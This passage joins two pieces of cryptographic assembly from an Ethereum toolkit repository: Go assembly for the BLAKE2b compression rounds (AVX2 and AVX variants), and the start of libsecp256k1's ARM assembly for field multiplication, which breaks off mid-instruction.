X11, Y12, Y12; \ LOAD_MSG_AVX2_Y13(15, 9, 3, 8); \ VMOVQ_SI_X11(1*8); \ VMOVDQU 12*8(SI), X14; \ VPINSRQ_1_SI_X11(10*8); \ VINSERTI128 $1, X11, Y14, Y14; \ VMOVQ_SI_X15(2*8); \ VMOVDQU 4*8(SI), X11; \ VPINSRQ_1_SI_X15(7*8); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_10_8_7_1_2_4_6_5_15_9_3_13_11_14_12_0() \ LOAD_MSG_AVX2_Y12(10, 8, 7, 1); \ VMOVQ_SI_X13(2*8); \ VPSHUFD $0x4E, 5*8(SI), X11; \ VPINSRQ_1_SI_X13(4*8); \ VINSERTI128 $1, X11, Y13, Y13; \ LOAD_MSG_AVX2_Y14(15, 9, 3, 13); \ VMOVQ_SI_X15(11*8); \ VMOVQ_SI_X11(12*8); \ VPINSRQ_1_SI_X15(14*8); \ VPINSRQ_1_SI_X11_0; \ VINSERTI128 $1, X11, Y15, Y15 // func fAVX2(h *[8]uint64, m *[16]uint64, c0, c1 uint64, flag uint64, rounds uint64) TEXT ·fAVX2(SB), 4, $64-48 // frame size = 32 + 32 byte alignment MOVQ h+0(FP), AX MOVQ m+8(FP), SI MOVQ c0+16(FP), R8 MOVQ c1+24(FP), R9 MOVQ flag+32(FP), CX MOVQ rounds+40(FP), BX MOVQ SP, DX MOVQ SP, R10 ADDQ $31, R10 ANDQ $~31, R10 MOVQ R10, SP MOVQ CX, 16(SP) XORQ CX, CX MOVQ CX, 24(SP) VMOVDQU ·AVX2_c40<>(SB), Y4 VMOVDQU ·AVX2_c48<>(SB), Y5 VMOVDQU 0(AX), Y8 VMOVDQU 32(AX), Y9 VMOVDQU ·AVX2_iv0<>(SB), Y6 VMOVDQU ·AVX2_iv1<>(SB), Y7 MOVQ R8, 0(SP) MOVQ R9, 8(SP) VMOVDQA Y8, Y0 VMOVDQA Y9, Y1 VMOVDQA Y6, Y2 VPXOR 0(SP), Y7, Y3 loop: SUBQ $1, BX; JCS done LOAD_MSG_AVX2_0_2_4_6_1_3_5_7_8_10_12_14_9_11_13_15() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_14_4_9_13_10_8_15_6_1_0_11_5_12_2_7_3() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_11_12_5_15_8_0_2_13_10_3_7_9_14_6_1_4() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_7_3_13_11_9_1_12_14_2_5_4_15_6_10_0_8() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_9_5_2_10_0_7_4_15_14_11_6_3_1_12_8_13() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_2_6_0_8_12_10_11_3_4_7_15_1_13_5_14_9() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_12_1_14_4_5_15_13_10_0_6_9_8_7_3_2_11() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_13_7_12_3_11_14_1_9_5_15_8_2_0_4_6_10() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_6_14_11_0_15_9_3_8_12_13_1_10_2_7_4_5() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_10_8_7_1_2_4_6_5_15_9_3_13_11_14_12_0() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) JMP loop done: VPXOR Y0, Y8, Y8 VPXOR Y1, Y9, Y9 VPXOR Y2, Y8, Y8 VPXOR Y3, Y9, Y9 VMOVDQU Y8, 0(AX) VMOVDQU Y9, 32(AX) VZEROUPPER MOVQ DX, SP RET #define VPUNPCKLQDQ_X2_X2_X15 BYTE $0xC5; BYTE $0x69; BYTE $0x6C; BYTE $0xFA #define VPUNPCKLQDQ_X3_X3_X15 BYTE $0xC5; BYTE $0x61; BYTE $0x6C; BYTE $0xFB #define VPUNPCKLQDQ_X7_X7_X15 BYTE $0xC5; BYTE $0x41; BYTE $0x6C; BYTE $0xFF #define VPUNPCKLQDQ_X13_X13_X15 BYTE $0xC4; BYTE $0x41; BYTE $0x11; BYTE $0x6C; BYTE $0xFD #define VPUNPCKLQDQ_X14_X14_X15 BYTE $0xC4; BYTE $0x41; BYTE $0x09; BYTE $0x6C; BYTE $0xFE #define VPUNPCKHQDQ_X15_X2_X2 BYTE $0xC4; BYTE $0xC1; BYTE $0x69; BYTE $0x6D; BYTE $0xD7 #define VPUNPCKHQDQ_X15_X3_X3 BYTE $0xC4; BYTE $0xC1; BYTE $0x61; BYTE $0x6D; BYTE $0xDF #define VPUNPCKHQDQ_X15_X6_X6 BYTE $0xC4; BYTE $0xC1; BYTE $0x49; BYTE $0x6D; BYTE $0xF7 #define VPUNPCKHQDQ_X15_X7_X7 BYTE $0xC4; BYTE $0xC1; BYTE $0x41; BYTE $0x6D; BYTE $0xFF #define VPUNPCKHQDQ_X15_X3_X2 BYTE $0xC4; BYTE $0xC1; BYTE $0x61; BYTE $0x6D; BYTE $0xD7 #define VPUNPCKHQDQ_X15_X7_X6 BYTE $0xC4; BYTE $0xC1; BYTE $0x41; BYTE $0x6D; BYTE $0xF7 #define VPUNPCKHQDQ_X15_X13_X3 BYTE $0xC4; BYTE $0xC1; BYTE $0x11; BYTE $0x6D; BYTE $0xDF #define VPUNPCKHQDQ_X15_X13_X7 BYTE $0xC4; BYTE $0xC1; BYTE $0x11; BYTE $0x6D; BYTE $0xFF #define SHUFFLE_AVX() \ VMOVDQA X6, X13; \ VMOVDQA X2, X14; \ VMOVDQA X4, X6; \ VPUNPCKLQDQ_X13_X13_X15; \ VMOVDQA X5, X4; \ VMOVDQA X6, X5; \ VPUNPCKHQDQ_X15_X7_X6; \ VPUNPCKLQDQ_X7_X7_X15; \ VPUNPCKHQDQ_X15_X13_X7; \ VPUNPCKLQDQ_X3_X3_X15; \ VPUNPCKHQDQ_X15_X2_X2; \ VPUNPCKLQDQ_X14_X14_X15; \ VPUNPCKHQDQ_X15_X3_X3; \ #define SHUFFLE_AVX_INV() \ VMOVDQA X2, X13; \ VMOVDQA X4, X14; \ VPUNPCKLQDQ_X2_X2_X15; \ VMOVDQA X5, X4; \ VPUNPCKHQDQ_X15_X3_X2; \ VMOVDQA X14, X5; \ VPUNPCKLQDQ_X3_X3_X15; \ VMOVDQA X6, X14; \ VPUNPCKHQDQ_X15_X13_X3; \ VPUNPCKLQDQ_X7_X7_X15; \ VPUNPCKHQDQ_X15_X6_X6; \ VPUNPCKLQDQ_X14_X14_X15; \ VPUNPCKHQDQ_X15_X7_X7; \ #define HALF_ROUND_AVX(v0, v1, v2, v3, v4, v5, v6, v7, m0, m1, m2, m3, t0, c40, c48) \ VPADDQ m0, v0, v0; \ VPADDQ v2, v0, v0; \ VPADDQ m1, v1, v1; \ VPADDQ v3, v1, v1; \ VPXOR v0, v6, v6; \ VPXOR v1, v7, v7; \ VPSHUFD $-79, v6, v6; \ VPSHUFD $-79, v7, v7; \ VPADDQ v6, v4, v4; \ VPADDQ v7, v5, v5; \ VPXOR v4, v2, v2; \ VPXOR v5, v3, v3; \ VPSHUFB c40, v2, v2; \ VPSHUFB c40, v3, v3; \ VPADDQ m2, v0, v0; \ VPADDQ v2, v0, v0; \ VPADDQ m3, v1, v1; \ VPADDQ v3, v1, v1; \ VPXOR v0, v6, v6; \ VPXOR v1, v7, v7; \ VPSHUFB c48, v6, v6; \ VPSHUFB c48, v7, v7; \ VPADDQ v6, v4, v4; \ VPADDQ v7, v5, v5; \ VPXOR v4, v2, v2; \ VPXOR v5, v3, v3; \ VPADDQ v2, v2, t0; \ VPSRLQ $63, v2, v2; \ VPXOR t0, v2, v2; \ VPADDQ v3, v3, t0; \ VPSRLQ $63, v3, v3; \ VPXOR t0, v3, v3 // load msg: X12 = (i0, i1), X13 = (i2, i3), X14 = (i4, i5), X15 = (i6, i7) // i0, i1, i2, i3, i4, i5, i6, i7 must not be 0 #define LOAD_MSG_AVX(i0, i1, i2, i3, i4, i5, i6, i7) \ VMOVQ_SI_X12(i0*8); \ VMOVQ_SI_X13(i2*8); \ VMOVQ_SI_X14(i4*8); \ VMOVQ_SI_X15(i6*8); \ VPINSRQ_1_SI_X12(i1*8); \ VPINSRQ_1_SI_X13(i3*8); \ VPINSRQ_1_SI_X14(i5*8); \ VPINSRQ_1_SI_X15(i7*8) // load msg: X12 = (0, 2), X13 = (4, 6), X14 = (1, 3), X15 = (5, 7) #define LOAD_MSG_AVX_0_2_4_6_1_3_5_7() \ VMOVQ_SI_X12_0; \ VMOVQ_SI_X13(4*8); \ VMOVQ_SI_X14(1*8); \ VMOVQ_SI_X15(5*8); \ VPINSRQ_1_SI_X12(2*8); \ VPINSRQ_1_SI_X13(6*8); \ VPINSRQ_1_SI_X14(3*8); \ VPINSRQ_1_SI_X15(7*8) // load msg: X12 = (1, 0), X13 = (11, 5), X14 = (12, 2), X15 = (7, 3) #define LOAD_MSG_AVX_1_0_11_5_12_2_7_3() \ VPSHUFD $0x4E, 0*8(SI), X12; \ VMOVQ_SI_X13(11*8); \ VMOVQ_SI_X14(12*8); \ VMOVQ_SI_X15(7*8); \ VPINSRQ_1_SI_X13(5*8); \ VPINSRQ_1_SI_X14(2*8); \ VPINSRQ_1_SI_X15(3*8) // load msg: X12 = (11, 12), X13 = (5, 15), X14 = (8, 0), X15 = (2, 13) #define LOAD_MSG_AVX_11_12_5_15_8_0_2_13() \ VMOVDQU 11*8(SI), X12; \ VMOVQ_SI_X13(5*8); \ VMOVQ_SI_X14(8*8); \ VMOVQ_SI_X15(2*8); \ VPINSRQ_1_SI_X13(15*8); \ VPINSRQ_1_SI_X14_0; \ VPINSRQ_1_SI_X15(13*8) // load msg: X12 = (2, 5), X13 = (4, 15), X14 = (6, 10), X15 = (0, 8) #define LOAD_MSG_AVX_2_5_4_15_6_10_0_8() \ VMOVQ_SI_X12(2*8); \ VMOVQ_SI_X13(4*8); \ VMOVQ_SI_X14(6*8); \ VMOVQ_SI_X15_0; \ VPINSRQ_1_SI_X12(5*8); \ VPINSRQ_1_SI_X13(15*8); \ VPINSRQ_1_SI_X14(10*8); \ VPINSRQ_1_SI_X15(8*8) // load msg: X12 = (9, 5), X13 = (2, 10), X14 = (0, 7), X15 = (4, 15) #define LOAD_MSG_AVX_9_5_2_10_0_7_4_15() \ VMOVQ_SI_X12(9*8); \ VMOVQ_SI_X13(2*8); \ VMOVQ_SI_X14_0; \ VMOVQ_SI_X15(4*8); \ VPINSRQ_1_SI_X12(5*8); \ VPINSRQ_1_SI_X13(10*8); \ VPINSRQ_1_SI_X14(7*8); \ VPINSRQ_1_SI_X15(15*8) // load msg: X12 = (2, 6), X13 = (0, 8), X14 = (12, 10), X15 = (11, 3) #define LOAD_MSG_AVX_2_6_0_8_12_10_11_3() \ VMOVQ_SI_X12(2*8); \ VMOVQ_SI_X13_0; \ VMOVQ_SI_X14(12*8); \ VMOVQ_SI_X15(11*8); \ VPINSRQ_1_SI_X12(6*8); \ VPINSRQ_1_SI_X13(8*8); \ VPINSRQ_1_SI_X14(10*8); \ VPINSRQ_1_SI_X15(3*8) // load msg: X12 = (0, 6), X13 = (9, 8), X14 = (7, 3), X15 = (2, 11) #define LOAD_MSG_AVX_0_6_9_8_7_3_2_11() \ MOVQ 0*8(SI), X12; \ VPSHUFD $0x4E, 8*8(SI), X13; \ MOVQ 7*8(SI), X14; \ MOVQ 2*8(SI), X15; \ VPINSRQ_1_SI_X12(6*8); \ VPINSRQ_1_SI_X14(3*8); \ VPINSRQ_1_SI_X15(11*8) // load msg: X12 = (6, 14), X13 = (11, 0), X14 = (15, 9), X15 = (3, 8) #define LOAD_MSG_AVX_6_14_11_0_15_9_3_8() \ MOVQ 6*8(SI), X12; \ MOVQ 11*8(SI), X13; \ MOVQ 15*8(SI), X14; \ MOVQ 3*8(SI), X15; \ VPINSRQ_1_SI_X12(14*8); \ VPINSRQ_1_SI_X13_0; \ VPINSRQ_1_SI_X14(9*8); \ VPINSRQ_1_SI_X15(8*8) // load msg: X12 = (5, 15), X13 = (8, 2), X14 = (0, 4), X15 = (6, 10) #define LOAD_MSG_AVX_5_15_8_2_0_4_6_10() \ MOVQ 5*8(SI), X12; \ MOVQ 8*8(SI), X13; \ MOVQ 0*8(SI), X14; \ MOVQ 6*8(SI), X15; \ VPINSRQ_1_SI_X12(15*8); \ VPINSRQ_1_SI_X13(2*8); \ VPINSRQ_1_SI_X14(4*8); \ VPINSRQ_1_SI_X15(10*8) // load msg: X12 = (12, 13), X13 = (1, 10), X14 = (2, 7), X15 = (4, 5) #define LOAD_MSG_AVX_12_13_1_10_2_7_4_5() \ VMOVDQU 12*8(SI), X12; \ MOVQ 1*8(SI), X13; \ MOVQ 2*8(SI), X14; \ VPINSRQ_1_SI_X13(10*8); \ VPINSRQ_1_SI_X14(7*8); \ VMOVDQU 4*8(SI), X15 // load msg: X12 = (15, 9), X13 = (3, 13), X14 = (11, 14), X15 = (12, 0) #define LOAD_MSG_AVX_15_9_3_13_11_14_12_0() \ MOVQ 15*8(SI), X12; \ MOVQ 3*8(SI), X13; \ MOVQ 11*8(SI), X14; \ MOVQ 12*8(SI), X15; \ VPINSRQ_1_SI_X12(9*8); \ VPINSRQ_1_SI_X13(13*8); \ VPINSRQ_1_SI_X14(14*8); \ VPINSRQ_1_SI_X15_0 // func fAVX(h *[8]uint64, m *[16]uint64, c0, c1 uint64, flag uint64, rounds uint64) TEXT ·fAVX(SB), 4, $24-48 // frame size = 8 + 16 byte alignment MOVQ h+0(FP), AX MOVQ m+8(FP), SI MOVQ c0+16(FP), R8 MOVQ c1+24(FP), R9 MOVQ flag+32(FP), CX MOVQ rounds+40(FP), BX MOVQ SP, BP MOVQ SP, R10 ADDQ $15, R10 ANDQ $~15, R10 MOVQ R10, SP VMOVDQU ·AVX_c40<>(SB), X0 VMOVDQU ·AVX_c48<>(SB), X1 VMOVDQA X0, X8 VMOVDQA X1, X9 VMOVDQU ·AVX_iv3<>(SB), X0 VMOVDQA X0, 0(SP) XORQ CX, 0(SP) // 0(SP) = ·AVX_iv3 ^ (CX || 0) VMOVDQU 0(AX), X10 VMOVDQU 16(AX), X11 VMOVDQU 32(AX), X2 VMOVDQU 48(AX), X3 VMOVQ_R8_X15 VPINSRQ_1_R9_X15 VMOVDQA X10, X0 VMOVDQA X11, X1 VMOVDQU ·AVX_iv0<>(SB), X4 VMOVDQU ·AVX_iv1<>(SB), X5 VMOVDQU ·AVX_iv2<>(SB), X6 VPXOR X15, X6, X6 VMOVDQA 0(SP), X7 loop: SUBQ $1, BX; JCS done LOAD_MSG_AVX_0_2_4_6_1_3_5_7() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(8, 10, 12, 14, 9, 11, 13, 15) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(14, 4, 9, 13, 10, 8, 15, 6) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_1_0_11_5_12_2_7_3() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_11_12_5_15_8_0_2_13() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(10, 3, 7, 9, 14, 6, 1, 4) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(7, 3, 13, 11, 9, 1, 12, 14) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_2_5_4_15_6_10_0_8() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_9_5_2_10_0_7_4_15() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(14, 11, 6, 3, 1, 12, 8, 13) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_2_6_0_8_12_10_11_3() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(4, 7, 15, 1, 13, 5, 14, 9) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(12, 1, 14, 4, 5, 15, 13, 10) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_0_6_9_8_7_3_2_11() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(13, 7, 12, 3, 11, 14, 1, 9) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_5_15_8_2_0_4_6_10() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_6_14_11_0_15_9_3_8() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_12_13_1_10_2_7_4_5() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(10, 8, 7, 1, 2, 4, 6, 5) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_15_9_3_13_11_14_12_0() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() JMP loop done: VMOVDQU 32(AX), X14 VMOVDQU 48(AX), X15 VPXOR X0, X10, X10 VPXOR X1, X11, X11 VPXOR X2, X14, X14 VPXOR X3, X15, X15 VPXOR X4, X10, X10 VPXOR X5, X11, X11 VPXOR X6, X14, X2 VPXOR X7, X15, X3 VMOVDQU X2, 32(AX) VMOVDQU X3, 48(AX) VMOVDQU X10, 0(AX) VMOVDQU X11, 16(AX) VZEROUPPER MOVQ BP, SP RET

0xsequence/ethkit

28,281

go-ethereum/crypto/secp256k1/libsecp256k1/src/asm/field_10x26_arm.s

@ vim: set tabstop=8 softtabstop=8 shiftwidth=8 noexpandtab syntax=armasm: /*********************************************************************** * Copyright (c) 2014 Wladimir J. van der Laan * * Distributed under the MIT software license, see the accompanying * * file COPYING or https://www.opensource.org/licenses/mit-license.php.* ***********************************************************************/ /* ARM implementation of field_10x26 inner loops. Note: - To avoid unnecessary loads and make use of available registers, two 'passes' have every time been interleaved, with the odd passes accumulating c' and d' which will be added to c and d respectively in the even passes */ .syntax unified @ eabi attributes - see readelf -A .eabi_attribute 24, 1 @ Tag_ABI_align_needed = 8-byte .eabi_attribute 25, 1 @ Tag_ABI_align_preserved = 8-byte, except leaf SP .text @ Field constants .set field_R0, 0x3d10 .set field_R1, 0x400 .set field_not_M, 0xfc000000 @ ~M = ~0x3ffffff .align 2 .global secp256k1_fe_mul_inner .type secp256k1_fe_mul_inner, %function .hidden secp256k1_fe_mul_inner @ Arguments: @ r0 r Restrict: can overlap with a, not with b @ r1 a @ r2 b @ Stack (total 4+10*4 = 44) @ sp + #0 saved 'r' pointer @ sp + #4 + 4*X t0,t1,t2,t3,t4,t5,t6,t7,u8,t9 secp256k1_fe_mul_inner: stmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, r14} sub sp, sp, #48 @ frame=44 + alignment str r0, [sp, #0] @ save result address, we need it only at the end /****************************************** * Main computation code. ****************************************** Allocation: r0,r14,r7,r8 scratch r1 a (pointer) r2 b (pointer) r3:r4 c r5:r6 d r11:r12 c' r9:r10 d' Note: do not write to r[] here, it may overlap with a[] */ /* A - interleaved with B */ ldr r7, [r1, #0*4] @ a[0] ldr r8, [r2, #9*4] @ b[9] ldr r0, [r1, #1*4] @ a[1] umull r5, r6, r7, r8 @ d = a[0] * b[9] ldr r14, [r2, #8*4] @ b[8] umull r9, r10, r0, r8 @ d' = a[1] * b[9] ldr r7, [r1, #2*4] @ a[2] umlal r5, r6, r0, r14 @ d += a[1] * b[8] ldr r8, [r2, #7*4] @ b[7] umlal r9, r10, r7, r14 @ d' += a[2] * b[8] ldr r0, [r1, #3*4] @ a[3] umlal r5, r6, r7, r8 @ d += a[2] * b[7] ldr r14, [r2, #6*4] @ b[6] umlal r9, r10, r0, r8 @ d' += a[3] * b[7] ldr r7, [r1, #4*4] @ a[4] umlal r5, r6, r0, r14 @ d += a[3] * b[6] ldr r8, [r2, #5*4] @ b[5] umlal r9, r10, r7, r14 @ d' += a[4] * b[6] ldr r0, [r1, #5*4] @ a[5] umlal r5, r6, r7, r8 @ d += a[4] * b[5] ldr r14, [r2, #4*4] @ b[4] umlal r9, r10, r0, r8 @ d' += a[5] * b[5] ldr r7, [r1, #6*4] @ a[6] umlal r5, r6, r0, r14 @ d += a[5] * b[4] ldr r8, [r2, #3*4] @ b[3] umlal r9, r10, r7, r14 @ d' += a[6] * b[4] ldr r0, [r1, #7*4] @ a[7] umlal r5, r6, r7, r8 @ d += a[6] * b[3] ldr r14, [r2, #2*4] @ b[2] umlal r9, r10, r0, r8 @ d' += a[7] * b[3] ldr r7, [r1, #8*4] @ a[8] umlal r5, r6, r0, r14 @ d += a[7] * b[2] ldr r8, [r2, #1*4] @ b[1] umlal r9, r10, r7, r14 @ d' += a[8] * b[2] ldr r0, [r1, #9*4] @ a[9] umlal r5, r6, r7, r8 @ d += a[8] * b[1] ldr r14, [r2, #0*4] @ b[0] umlal r9, r10, r0, r8 @ d' += a[9] * b[1] ldr r7, [r1, #0*4] @ a[0] umlal r5, r6, r0, r14 @ d += a[9] * b[0] @ r7,r14 used in B bic r0, r5, field_not_M @ t9 = d & M str r0, [sp, #4 + 4*9] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 /* B */ umull r3, r4, r7, r14 @ c = a[0] * b[0] adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u0 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u0 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t0 = c & M str r14, [sp, #4 + 0*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u0 * R1 umlal r3, r4, r0, r14 /* C - interleaved with D */ ldr r7, [r1, #0*4] @ a[0] ldr r8, [r2, #2*4] @ b[2] ldr r14, [r2, #1*4] @ b[1] umull r11, r12, r7, r8 @ c' = a[0] * b[2] ldr r0, [r1, #1*4] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] * b[1] ldr r8, [r2, #0*4] @ b[0] umlal r11, r12, r0, r14 @ c' += a[1] * b[1] ldr r7, [r1, #2*4] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] * b[0] ldr r14, [r2, #9*4] @ b[9] umlal r11, r12, r7, r8 @ c' += a[2] * b[0] ldr r0, [r1, #3*4] @ a[3] umlal r5, r6, r7, r14 @ d += a[2] * b[9] ldr r8, [r2, #8*4] @ b[8] umull r9, r10, r0, r14 @ d' = a[3] * b[9] ldr r7, [r1, #4*4] @ a[4] umlal r5, r6, r0, r8 @ d += a[3] * b[8] ldr r14, [r2, #7*4] @ b[7] umlal r9, r10, r7, r8 @ d' += a[4] * b[8] ldr r0, [r1, #5*4] @ a[5] umlal r5, r6, r7, r14 @ d += a[4] * b[7] ldr r8, [r2, #6*4] @ b[6] umlal r9, r10, r0, r14 @ d' += a[5] * b[7] ldr r7, [r1, #6*4] @ a[6] umlal r5, r6, r0, r8 @ d += a[5] * b[6] ldr r14, [r2, #5*4] @ b[5] umlal r9, r10, r7, r8 @ d' += a[6] * b[6] ldr r0, [r1, #7*4] @ a[7] umlal r5, r6, r7, r14 @ d += a[6] * b[5] ldr r8, [r2, #4*4] @ b[4] umlal r9, r10, r0, r14 @ d' += a[7] * b[5] ldr r7, [r1, #8*4] @ a[8] umlal r5, r6, r0, r8 @ d += a[7] * b[4] ldr r14, [r2, #3*4] @ b[3] umlal r9, r10, r7, r8 @ d' += a[8] * b[4] ldr r0, [r1, #9*4] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] * b[3] ldr r8, [r2, #2*4] @ b[2] umlal r9, r10, r0, r14 @ d' += a[9] * b[3] umlal r5, r6, r0, r8 @ d += a[9] * b[2] bic r0, r5, field_not_M @ u1 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u1 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t1 = c & M str r14, [sp, #4 + 1*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u1 * R1 umlal r3, r4, r0, r14 /* D */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u2 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u2 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t2 = c & M str r14, [sp, #4 + 2*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u2 * R1 umlal r3, r4, r0, r14 /* E - interleaved with F */ ldr r7, [r1, #0*4] @ a[0] ldr r8, [r2, #4*4] @ b[4] umull r11, r12, r7, r8 @ c' = a[0] * b[4] ldr r8, [r2, #3*4] @ b[3] umlal r3, r4, r7, r8 @ c += a[0] * b[3] ldr r7, [r1, #1*4] @ a[1] umlal r11, r12, r7, r8 @ c' += a[1] * b[3] ldr r8, [r2, #2*4] @ b[2] umlal r3, r4, r7, r8 @ c += a[1] * b[2] ldr r7, [r1, #2*4] @ a[2] umlal r11, r12, r7, r8 @ c' += a[2] * b[2] ldr r8, [r2, #1*4] @ b[1] umlal r3, r4, r7, r8 @ c += a[2] * b[1] ldr r7, [r1, #3*4] @ a[3] umlal r11, r12, r7, r8 @ c' += a[3] * b[1] ldr r8, [r2, #0*4] @ b[0] umlal r3, r4, r7, r8 @ c += a[3] * b[0] ldr r7, [r1, #4*4] @ a[4] umlal r11, r12, r7, r8 @ c' += a[4] * b[0] ldr r8, [r2, #9*4] @ b[9] umlal r5, r6, r7, r8 @ d += a[4] * b[9] ldr r7, [r1, #5*4] @ a[5] umull r9, r10, r7, r8 @ d' = a[5] * b[9] ldr r8, [r2, #8*4] @ b[8] umlal r5, r6, r7, r8 @ d += a[5] * b[8] ldr r7, [r1, #6*4] @ a[6] umlal r9, r10, r7, r8 @ d' += a[6] * b[8] ldr r8, [r2, #7*4] @ b[7] umlal r5, r6, r7, r8 @ d += a[6] * b[7] ldr r7, [r1, #7*4] @ a[7] umlal r9, r10, r7, r8 @ d' += a[7] * b[7] ldr r8, [r2, #6*4] @ b[6] umlal r5, r6, r7, r8 @ d += a[7] * b[6] ldr r7, [r1, #8*4] @ a[8] umlal r9, r10, r7, r8 @ d' += a[8] * b[6] ldr r8, [r2, #5*4] @ b[5] umlal r5, r6, r7, r8 @ d += a[8] * b[5] ldr r7, [r1, #9*4] @ a[9] umlal r9, r10, r7, r8 @ d' += a[9] * b[5] ldr r8, [r2, #4*4] @ b[4] umlal r5, r6, r7, r8 @ d += a[9] * b[4] bic r0, r5, field_not_M @ u3 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u3 